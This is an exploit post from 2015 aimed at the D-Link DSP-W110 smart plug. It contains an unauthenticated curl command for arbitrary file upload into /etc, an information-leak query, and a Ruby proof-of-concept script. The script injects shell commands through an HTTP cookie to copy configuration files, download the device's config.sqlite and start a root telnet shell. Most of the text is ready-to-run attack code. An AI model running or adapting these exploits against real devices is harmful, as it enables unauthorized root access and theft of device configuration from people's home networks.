# Exploit Title: D-Link DSP-W Arbitrary Arbitrary file upload # Date: 30/06/2015 # Exploit Author: DNO # Vendor Homepage: [link] # Version: w110 v1.05b01 # Tested on: linux # CVE : N/A ======================================== the only 'filtering' on this resources appears to be a sprintf() call which statically prefixes a submitted 'dev' argument with '/www'. However, if a HTTP request is performed without a 'dev' argument at all, the sprintf() call is never reached, and a fully-qualified path can be provided in the 'path' parameter - bypassing the upload path restriction. *************** # Upload arbitrary files to the device. echo 'Some String' > test.txt curl \ -X POST \ -i \ -F name=@test.txt \ --http1.0 \ '192.168.1.3/web_cgi.cgi?&request=UploadFile&path=/etc/' ======================================== # Exploit Title: D-Link DSP-W Diagnostic Information " Get info" # Date: 30/06/2015 # Exploit Author: DNO # Version: w110 v1.05b01 # Tested on: linux # CVE : N/A ======================================== Severity Level: =============== High =============== Patches made to lighttpd by the vendor of this device allows an attacker to query the device, without authentication, for the following information: # Current WLAN SSIDs # Current WLAN channels # LAN and WAN MAC addressing # Current firmware version information # Hardware version information Although not sensitive information, it may allow for identification of devices running vulnerable firmware versions. ========================================= # Information query. curl \ 192.168.1.3/mplist.txt ======================================== #ruby poc ---- # DSP-W110-Lighttpd PoC. require 'pp' require 'optparse' require 'restclient' # Set defaults and parse command line arguments options = {} options[:addr] = "192.168.0.60" options[:port] = 80 OptionParser.new do |option| option.on("--address [ADDRESS]", "Destination hostname or IP") do |a| options[:addr] = a end option.on("--port [PORT]", "Destination TCP port") do |p| options[:port] = p end option.parse! end # Define which actions we will be using. actions = [ { :name => "Get device information", :call => "txt_parser", :path => "mplist.txt", }, { :name => "Snatch configuration", :call => "noop", :path => "HNAP1", :cookies => { :cookie => "`cp /etc/co* /www/`" } }, { :name => "Fetch configuration", :call => "conf_writer", :path => "config.sqlite", }, { :name => "Enable telnet (root)", :call => "noop", :path => "HNAP1", :cookies => { :cookie => "`telnetd -l/bin/sh`" } } ] def noop(val) return end def txt_parser(txt) txt.split(/\r?\n/).each do |line| puts " #{line}" end end def conf_writer(txt) begin f = File.open('./config.sqlite', 'wb') rescue => e puts "[!] Failed to open config.sqlite for writing #{e.message}" end f.write(txt) f.close puts "[*] Configuration fetched into 'config.sqlite'" end # Iterate over all actions and attempt to execute. url = "http://#{options[:addr]}:#{options[:port]}" puts "[!] Attempting to extract information from #{url}" actions.each do |action| # Fire the request and ensure a 200 OKAY. begin response = RestClient.get( "#{url}/#{action[:path]}", {:cookies => action[:cookies]} ) rescue puts "[!] Failed to query remote host." abort end if response.code != 200 puts "[-] '#{action[:name]}' failed with response: #{response.code}" next end # Send to the processor. puts "[*] #{action[:name]} request succeeded." send(action[:call], response.body()) end =================================== contact me FB : FB.COM/haker.dyno Copyright © 2015 /DNO/